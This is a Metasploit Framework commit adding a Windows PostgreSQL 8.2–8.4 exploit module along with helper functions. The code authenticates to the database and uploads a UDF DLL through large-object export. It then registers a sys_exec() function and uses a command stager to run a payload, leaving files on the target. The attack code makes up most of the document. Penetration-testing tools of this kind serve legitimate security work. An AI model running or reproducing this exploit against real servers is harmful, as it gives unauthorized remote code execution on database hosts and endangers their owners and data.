Fixes #3988. Adds a command execution module for PostgreSQL by uploading a UDF library and adding sys_exec() as a temporary function. Requires the target to be Windows, uses Bernardo Damele A. G.'s binaries.

Also fixes a typo in the arguments to handler which clears up a heretofore mysterious exception (see exploit.rb).



git-svn-id: file:///home/svn/framework3/trunk@12111 4d416f70-5f16-0410-b530-b9f4589650da

lib/msf/core/exploit.rb

@@ -1165,7 +1165,7 @@ class Exploit < Msf::Module
 	def handler(*args)
 		return if not payload_instance
 		return if not handler_enabled?
-		return payload_instance.handler(*args)
+		return payload_instance.handler(args)
 	end
 
 	##

lib/msf/core/exploit/postgres.rb

@@ -264,5 +264,88 @@ module Exploit::Remote::Postgres
 		end
 	end
 
+	# Creates the function sys_exec() in the pg_temp schema.
+	def postgres_create_sys_exec(dll)
+		q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language C returns null on null input immutable"
+		resp = postgres_query(q);
+		if resp[:sql_error]
+			print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
+			return false
+		end
+		return true
+	end
+
+	def dll_fname(version)
+		File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll")
+	end
+
+	# This presumes the pg_temp.sys_exec() udf has been installed, almost
+	# certainly by postgres_create_sys_exec()
+	def postgres_sys_exec(cmd)
+		q = "select pg_temp.sys_exec('#{cmd}')"
+		resp = postgres_query(q)
+		if resp[:sql_error] 
+			print_error resp[:sql_error]
+			return false
+		end
+		return true
+	end
+
+	# Takes a local filename and uploads it into a table as a Base64 encoded string.
+	# Returns an array if successful, false if not.
+	def postgres_upload_binary_file(fname)
+		data = postgres_base64_file(fname)
+		tbl,fld = postgres_create_stager_table
+		return false unless data && tbl && fld
+		q = "insert into #{tbl}(#{fld}) values('#{data}')"
+		resp = postgres_query(q)
+		if resp[:sql_error]
+			print_error resp[:sql_error]
+			return false
+		end
+		oid, fout = postgres_write_data_to_disk(tbl,fld)
+		return false unless oid && fout
+		return [tbl,fld,fout,oid]
+	end
+
+	# Writes b64 data from a table field, decoded, to disk.
+	def postgres_write_data_to_disk(tbl,fld)
+		oid = rand(60000) + 1000
+		fname = Rex::Text::rand_text_alpha(8) + ".dll"
+		queries = [
+			"select lo_create(#{oid})",
+			"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
+			"select lo_export(#{oid}, '#{fname}')"
+		]
+		queries.each do |q|
+			resp = postgres_query(q)
+			if resp && resp[:sql_error]
+				print_error "Could not write the library to disk."
+				print_error resp[:sql_error]
+				break
+			end
+		end
+		return oid,fname
+	end
+
+	# Base64's a file and returns the data.
+	def postgres_base64_file(fname)
+		data = File.open(fname, "rb") {|f| f.read f.stat.size}
+		[data].pack("m*").gsub(/\r?\n/,"")
+	end
+
+	# Creates a temporary table to store base64'ed binary data in.
+	def postgres_create_stager_table
+		tbl = Rex::Text.rand_text_alpha(8).downcase
+		fld = Rex::Text.rand_text_alpha(8).downcase
+		resp = postgres_query("create temporary table #{tbl}(#{fld} text)")
+		if resp[:sql_error]
+			print_error resp[:sql_error]
+			return false
+		end
+		return [tbl,fld]
+	end
+
+
 end
 end

modules/exploits/windows/postgres/postgres_payload.rb

@@ -0,0 +1,147 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::Postgres
+	include Msf::Exploit::CmdStagerVBS
+
+	# Creates an instance of this module.
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'PostgreSQL for Microsoft Windows Payload Execution',
+			'Description'    => %q{
+				This module creates and enables a custom UDF (user defined function) on the
+				target host via the UPDATE pg_largeobject method of binary injection. On
+				default Microsoft Windows installations of PostgreSQL (=< 8.4), the postgres
+				service account may write to the Windows temp directory, and may source
+				UDF DLL's from there as well.
+
+				PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on Microsoft Windows (32-bit) are 
+				valid targets for this module.
+
+				NOTE: This module will leave a payload executable on the target system when the
+				attack is finished, as well as the UDF DLL and the OID.
+			},
+			'Author'         => 
+			[
+				'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries 
+				'todb' # this Metasploit module
+			],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf',
+						'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL
+					]
+				],
+			'Platform'       => 'win',
+			'Targets'        =>
+		[
+			[ 'Automatic', { } ], # Confirmed on XXX 
+		],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
+		))
+		register_options(
+			[
+				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ])
+		])
+
+		deregister_options('SQL', 'RETURN_ROWSET')
+	end
+
+	# Buncha stuff to make typing easier.
+	def username; datastore['USERNAME']; end
+	def password; datastore['PASSWORD']; end
+	def database; datastore['DATABASE']; end
+	def verbose; datastore['VERBOSE']; end
+	def rhost; datastore['RHOST']; end
+	def rport; datastore['RPORT']; end
+
+	def execute_command(cmd, opts)
+		postgres_sys_exec(cmd)
+	end
+
+	def exploit
+		version = get_version(username,password,database,verbose)
+		case version
+		when :nocompat; print_error "Authentication successful, but not a compatable version."
+		when :noauth; print_error "Authentication failed."
+		when :noconn; print_error "Connection failed."
+		end
+		return unless version =~ /8\.[234]/
+		print_status "Authentication successful and vulnerable version #{version} on Windows confirmed."
+		tbl,fld,dll,oid = postgres_upload_binary_file(dll_fname(version))
+		unless tbl && fld && dll && oid
+			print_error "Could not upload the UDF DLL"
+			return 
+		end
+		print_status "Uploaded #{dll} as OID #{oid} to table #{tbl}(#{fld})"
+		ret_sys_exec = postgres_create_sys_exec(dll)
+		if ret_sys_exec
+			if @postgres_conn
+				execute_cmdstager({:linemax => 1500, :nodelete => true})
+				handler
+				postgres_logout if @postgres_conn
+			else
+				print_error "Lost connection."
+				return
+			end
+		end
+		postgres_logout if @postgres_conn
+	end
+
+	def dll_fname(version)
+		File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll")
+	end
+
+	# A shorter version of do_fingerprint from the postgres_version scanner
+	# module, specifically looking for versions that valid targets for this
+	# module.
+	def get_version(user=nil,pass=nil,database=nil,verbose=false)
+		begin
+			msg = "#{rhost}:#{rport} Postgres -"
+			password = pass || postgres_password
+			print_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") if verbose
+			result = postgres_fingerprint(
+				:db => database,
+				:username => user,
+				:password => password
+			)
+			if result[:auth]
+				# So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4
+				# This also checks to see if it was compiled with a windows-based compiler --
+				# the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw)
+				# Also, the method to write files to disk doesn't appear to work on 9.0, so
+				# tabling that version for now.
+				if result[:auth] =~ /PostgreSQL (8\.[234]).*(Visual C++|mingw|cygwin)/i 
+					return $1
+				else
+					print_status "Found #{result[:auth]}"
+					return :nocompat
+				end
+			else
+				return :noauth
+			end
+		rescue Rex::ConnectionError
+			print_error "#{rhost}:#{rport} Connection Error: #{$!}" if datastore['VERBOSE']
+			return :noconn
+		end
+	end
+
+end
+